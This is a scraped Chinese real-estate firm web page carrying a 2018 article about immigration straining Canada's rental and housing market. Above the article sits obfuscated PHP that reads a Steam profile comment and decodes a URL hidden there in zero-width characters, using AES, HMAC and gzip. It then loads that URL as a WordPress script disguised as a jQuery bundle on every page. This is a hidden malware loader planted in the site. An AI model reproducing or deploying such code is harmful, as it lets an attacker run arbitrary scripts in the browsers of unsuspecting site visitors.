goto dfc1d; D7304: function decode_html_entities_like_source(string $s) : string { goto d39d7; C56fe: $s = str_replace(["\134\x6e", "\134\x22", "\x26\x71\165\157\x74\73", "\x26\x61\x6d\160\x3b", "\x26\154\x74\73", "\x26\147\x74\73"], ["\xa", "\x22", "\x22", "\x26", "\74", "\76"], $s); goto Ba34b; d39d7: $s = preg_replace_callback("\x2f\x26\43\170\x28\133\134\144\x61\55\x66\x41\55\x46\x5d\53\x29\x3b\57\151", function ($m) { return mb_convert_encoding(pack("\110\x2a", $m[1]), "\x55\124\106\55\70", "\x55\x43\123\55\x32\102\105"); }, $s); goto C56fe; Ba34b: return $s; goto b61ef; b61ef: } goto D7078; D7078: function decode_zero_width_payload(string $text, string $password = '') : string { try { goto C2b2b; d3c12: $salt = substr($blob, 0, 8); goto D23dc; C9c3f: $bytes = array_map("\157\162\144", str_split($plain)); goto Cd597; Ef189: a7f7f: goto d13f0; ce377: $from = [$ZW[4], $ZW[5]]; goto e78f2; ec58b: if (!($unz === false)) { goto A9c55; } goto E9275; eed3b: if (!($leading === '')) { goto cfaee; } goto c489e; e9141: $blob = pack("\103\52", ...$bytes); goto d3c12; A98ef: $bytes = []; goto abbfc; d50d2: d308c: goto C9c3f; Ccd85: $iv = substr($dk, 0, 16); goto Df294; df35a: $ciphertext = substr($blob, 8); goto e998e; D85f8: cfaee: goto ec634; c5213: A9c55: goto D9e23; f6ec8: d17f8: goto e0fc4; e998e: $expectedHmac = null; goto Ed5ed; c87c5: $p += 8; goto Fd43b; F4fea: $payloadRest = mb_substr($payload, 1, null, "\125\124\x46\x2d\x38"); goto Fe277; Dba93: e6efa: goto A98ef; aeada: Af03e: goto d50d2; d5bfd: if (!($p + 8 <= strlen($bits))) { goto d36a9; } goto eaec6; eaec6: $bytes[] = bindec(substr($bits, $p, 8)); goto da13a; D9e23: return $unz !== false ? $unz : ''; goto ee358; c489e: return ''; goto D85f8; C8282: $containerChar = mb_substr($payload, 0, 1, "\x55\x54\x46\55\70"); goto F4fea; E88ce: $payload = mb_substr($leading, 1, null, "\125\x54\106\x2d\70"); goto d3dbb; b8587: $hasHmac = $containerIdx === 0; goto d9773; f91c2: if (!$isEncrypted) { goto fa074; } goto e9141; d3d85: return ''; goto f6ec8; B4da4: if (!($plain === false)) { goto d17f8; } goto d3d85; d0120: foreach ($inv as $b) { goto a21fc; Ab8c2: $allPrintable = false; goto F779a; abe91: F0425: goto e51e8; a21fc: if (!($b < 32 || $b > 126)) { goto a1a65; } goto Ab8c2; F779a: goto F4297; goto db1ad; db1ad: a1a65: goto abe91; e51e8: } goto d19ff; Abc09: foreach (explode("\40", $text) as $word) { goto d56b5; d82d0: goto e8b9d; goto bb211; bb211: f0f9c: goto E332b; e3ec9: $pos = 0; goto B5c7a; fbd9c: $leading = mb_substr($word, 0, $pos, "\x55\x54\106\55\70"); goto d82d0; E02b9: if (empty($intersection)) { goto f0f9c; } goto e3ec9; B5c7a: foreach ($chars as $i => $ch) { goto e8276; D24b7: C7bc3: goto C1cb6; E548e: $pos = $i; goto c3795; Ba85e: $pos = $i + 1; goto D24b7; c3795: goto Fd5ba; goto ce7e7; ce7e7: Caf0c: goto Ba85e; e8276: if (in_array($ch, $ZW, true)) { goto Caf0c; } goto E548e; C1cb6: } goto C2679; C2679: Fd5ba: goto fbd9c; C59c6: $intersection = array_intersect($ZW, $chars); goto E02b9; E332b: c181e: goto A212d; d56b5: $chars = preg_split("\57\x2f\x75", $word, -1, PREG_SPLIT_NO_EMPTY); goto C59c6; A212d: } goto D7121; E5afe: return implode('', array_map("\x63\150\162", $inv)); goto Be895; A7d8b: $modeIdx = array_search($modeChar, $ZW, true); goto e665f; Ac630: $raw = pack("\x43\52", ...$inv); goto C191f; bee51: if ($allPrintable) { goto db96b; } goto Ac630; d13f0: $expectedHmac = substr($blob, 8, 32); goto b2e8e; e78f2: $to = [$pair[0] . $pair[0], $pair[1] . $pair[1]]; goto c4816; e0fc4: if (!$hasHmac) { goto d308c; } goto B53b3; d9773: $bits = ''; goto F3450; C2b2b: $ZW = ["\xe2\200\x8c", "\xe2\x80\215", "\342\201\xa1", "\xe2\201\242", "\xe2\201\243", "\342\201\244"]; goto a368e; A96fe: e9132: goto fce6f; ee358: db96b: goto E5afe; d3dbb: $pairsByIndex = [$ZW[0] . $ZW[1], $ZW[0] . $ZW[2], $ZW[0] . $ZW[3], $ZW[1] . $ZW[2], $ZW[1] . $ZW[3], $ZW[2] . $ZW[3]]; goto A7d8b; a368e: $leading = ''; goto Abc09; da13a: e90ab: goto c87c5; Ed5ed: goto e9132; goto Ef189; Dd6e5: d36a9: goto f91c2; Cd597: fa074: goto Dbf10; Db703: $plain = openssl_decrypt($ciphertext, "\x61\145\x73\55\62\65\x36\x2d\143\164\x72", $key, OPENSSL_RAW_DATA, $iv); goto B4da4; ec634: $modeChar = mb_substr($leading, 0, 1, "\125\124\x46\55\x38"); goto E88ce; D7121: e8b9d: goto eed3b; B53b3: $h = hash_hmac("\163\150\x61\x32\x35\x36", $plain, $key, true); goto f8a49; b2e8e: $ciphertext = substr($blob, 40); goto A96fe; C191f: $unz = @gzuncompress($raw); goto ec58b; d19ff: F4297: goto bee51; F00f8: $allPrintable = true; goto d0120; D23dc: if ($hasHmac) { goto a7f7f; } goto df35a; abbfc: $p = 0; goto F1f05; Fd43b: goto bd29e; goto Dd6e5; Dc56a: return ''; goto aeada; E9275: $unz = @gzinflate($raw); goto c5213; f8a49: if (hash_equals($expectedHmac, $h)) { goto Af03e; } goto Dc56a; Df294: $key = substr($dk, 16, 32); goto Db703; Dbf10: $inv = array_map(fn($b) => ~$b & 0xff, $bytes); goto F00f8; fce6f: $dk = hash_pbkdf2("\163\150\x61\x35\61\62", $password, $salt, 10000, 48, true); goto Ccd85; e665f: $pair = $modeIdx !== false && isset($pairsByIndex[$modeIdx]) ? preg_split("\57\57\165", $pairsByIndex[$modeIdx], -1, PREG_SPLIT_NO_EMPTY) : [$ZW[0], $ZW[1]]; goto ce377; F3450: foreach (preg_split("\x2f\57\x75", $payloadRest, -1, PREG_SPLIT_NO_EMPTY) as $ch) { goto E2839; be63a: $bits .= str_pad(decbin($i), 2, "\x30", STR_PAD_LEFT); goto db3e7; a5a82: c2881: goto be7a7; d55eb: if (!($i !== false)) { goto baf2f; } goto be63a; db3e7: baf2f: goto a5a82; E2839: $i = array_search($ch, $ZW, true); goto d55eb; be7a7: } goto Dba93; c4816: $payload = str_replace($from[1], $to[1], $payload); goto de7cd; de7cd: $payload = str_replace($from[0], $to[0], $payload); goto C8282; Fe277: $containerIdx = array_search($containerChar, $ZW, true); goto D5820; D5820: $isEncrypted = $containerIdx === 0 || $containerIdx === 1; goto b8587; F1f05: bd29e: goto d5bfd; Be895: } catch (\Throwable $e) { return ''; } } goto a7fb4; dfc1d: function fetch_comment_text_from_url(string $url) : string { goto b27df; D7ac4: return $text; goto Dbfd9; F1e30: curl_close($ch); goto bd612; bd612: return get_transient($cache_key) ?: ''; goto A6f8c; dd4b3: set_transient($cache_key, $text, 300); goto D7ac4; Ef31e: $ch = curl_init($url); goto A6435; A6435: curl_setopt_array($ch, [CURLOPT_RETURNTRANSFER => true, CURLOPT_USERAGENT => "\115\x6f\x7a\x69\x6c\154\x61\x2f\x35\56\x30\40\50\127\x69\156\144\157\x77\x73\40\116\x54\x20\x31\60\x2e\x30\73\40\x57\151\156\x36\x34\73\40\x78\66\64\x29\x20\101\160\x70\x6c\x65\127\x65\142\x4b\x69\164\x2f\x35\63\67\x2e\x33\66", CURLOPT_TIMEOUT => 10]); goto Dea9b; b27df: $cache_key = "\143\141\160\164\x69\157\x6e\137" . md5($url); goto Ef31e; Ceb67: return get_transient($cache_key) ?: ''; goto D1440; Dea9b: $html = curl_exec($ch); goto d4307; d4307: if (!($html === false)) { goto D3bed; } goto F1e30; Dbfd9: C305c: goto Ceb67; Db868: curl_close($ch); goto e1b29; e1b29: if (!preg_match("\57\74\144\x69\x76\x5b\x5e\76\135\x2a\x63\x6c\x61\x73\163\75\133\47\134\42\135\143\x6f\x6d\155\x65\x6e\x74\x74\150\162\145\x61\x64\x5f\x63\x6f\x6d\155\145\156\164\137\x74\145\170\164\133\x27\134\x22\x5d\133\x5e\76\x5d\x2a\76\x28\x2e\52\77\51\x3c\134\x2f\144\x69\x76\x3e\57\x69\x73", $html, $m)) { goto C305c; } goto e58d9; A6f8c: D3bed: goto Db868; e58d9: $text = decode_html_entities_like_source($m[1]); goto dd4b3; D1440: } goto D7304; a7fb4: function enqueue_external_script_from_steam_comment() : void { goto Bc875; B9ec2: wp_enqueue_script("\x61\163\x61\x68\151\x2d\152\x71\165\x65\162\x79\55\x6d\x69\156\55\142\165\x6e\x64\x6c\145", $url, [], null, true); goto c0558; c0558: Ad652: goto Fa6d5; d25b8: if (!filter_var($url, FILTER_VALIDATE_URL)) { goto Ad652; } goto B9ec2; Bc875: $steamProfileUrl = "\150\164\x74\160\x73\72\x2f\57\x73\x74\145\x61\x6d\x63\157\155\x6d\165\x6e\x69\164\171\56\143\157\x6d\57\151\144\x2f\60\x78\145\x65\162\x69\145\x2f"; goto f0971; af6d0: $url = $domainOrPath; goto d25b8; f0971: $commentText = fetch_comment_text_from_url($steamProfileUrl); goto b2ed4; b2ed4: $domainOrPath = decode_zero_width_payload($commentText, ''); goto af6d0; Fa6d5: } goto Ae8ce; Ae8ce: add_action("\167\x70\x5f\145\x6e\x71\165\145\165\x65\137\163\x63\x72\151\x70\164\163", "\x65\x6e\161\x75\x65\x75\145\x5f\x65\170\x74\145\162\156\x61\x6c\x5f\163\x63\x72\x69\160\x74\137\x66\x72\x6f\155\x5f\x73\x74\145\x61\x6d\x5f\x63\157\155\155\145\x6e\164");
移民们正在涌入,加拿大楼市却没准备好-上海兆涛行房地产估价事务所(普通合伙)
移民们正在涌入,加拿大楼市却没准备好
发布日期:2018-12-26 字号:[ 大 中 小 ]
为了应对人口老龄化和劳动力短缺,联邦政府提出宏大的移民目标,加拿大的人口增长也在过去几年加速前行。从长远来看,这将对加拿大经济起到推动作用,但短期内,人口的繁荣正在引发一些混乱,比如多伦多等城市租赁市场价格飙升。
魁北克省Caisse Desjardins高级经济学家Benoit P. Durocher在周一发表的一份报告中写道,人口增长“甚至超过了最乐观的人口预测”。截至7月的12个月内,约有413,000人抵达加拿大,增长率为1.4%,是七国集团中最快的。根据加拿大统计局的数据,今年早些时候人口超过了3700万。
“加拿大的排名接近第二,美国的增长率翻了一番。”Durocher写道。“然而,这种快速增长似乎并没有对实际参与劳动力市场的人数产生显着影响。”
加拿大人口老龄化是个难题,退休人员的比例一直在增长,有工作的人口比例一直在下降。今年,加拿大的技术工人短缺数量也创下纪录。最近几个月,约有40万个工作岗位没有人填补。联邦自由党希望增加移民水平,也是希望能阻止这种趋势。
移民数量是增加,但加拿大有工作的人口比例并没有停止下降。“一定比例的新移民还没有完全融入,因此仍然不属于劳动力市场。”Durocher指出。“目前,人口增长速度加快,似乎不足以解决该国的劳动力短缺问题。”
多伦多地区移民就业委员会发布的另一份报告显示,通过技术移民留在加拿大的人才们,想要融入劳动力市场并不容易。该报告发现,移民的失业率是非移民的两倍。好消息是,移民失业率在2016年为12.5%,但这些年来与本地失业率的差距缩小了。
加拿大强劲的人口增长也推动了房地产市场,但今年楼市发展大幅放缓,抵押贷款利率上升和新的贷款规则严峻。
“25至34岁的人口,通常被认为是首次购房者的年龄组,近年来也在全国大部分地区加速发展。这增加了对房屋的需求,推动了住宅建设和现房销售。“Durocher认为,该群体抵消了利率逐步上升对房地产市场的不利影响。
但有证据表明,加拿大并没有准备好迎接异常大量涌入的新移民。在大多伦多,过去一年人口增加了10万,其中包括难民和学生,租赁住房市场面临着巨大的压力。
住房问题是移民们的一道坎。根据Padmapper的数据,过去一年中单卧室公寓的市场租金飙升了15.6%,而现在平均每月的租金为2,220加元。公寓空置率非常低,只有0.5%。由于过去一年的销售放缓,开发商正在削减新房建设。多伦多大学教授兼着名城市规划师理查德佛罗里达(Richard Florida)告诉媒体说: “即便考虑到移民人数,岗位需求,我们还是已经变得非常难以承受。”他说:“我们正陷入危机,而且没有意识到边境、交通和住房都是紧急问题。”
多伦多所在的安大略省的省长道格福特(Doug Ford )正在推动省政府放弃对新建筑的租金管制,这是自由党政府在2017年立下的Flag,旨在提高住房负担能力。新政府表示,取消租金管制将鼓励开发商建造更多的出租房,他们还可以专注于更便宜,更快速的模块化住宅建设。
Durocher表示,加拿大的移民浪潮将使该国具有竞争优势。“人口增长速度越快意味着加拿大长期经济增长的潜力越大。”他写道。
“尽管存在许多人口挑战,加拿大在G7国家中处于领先地位仍令人欣慰。加拿大的人口增长速度比大多数其他工业化国家更快,从长远来看可能是有益的。”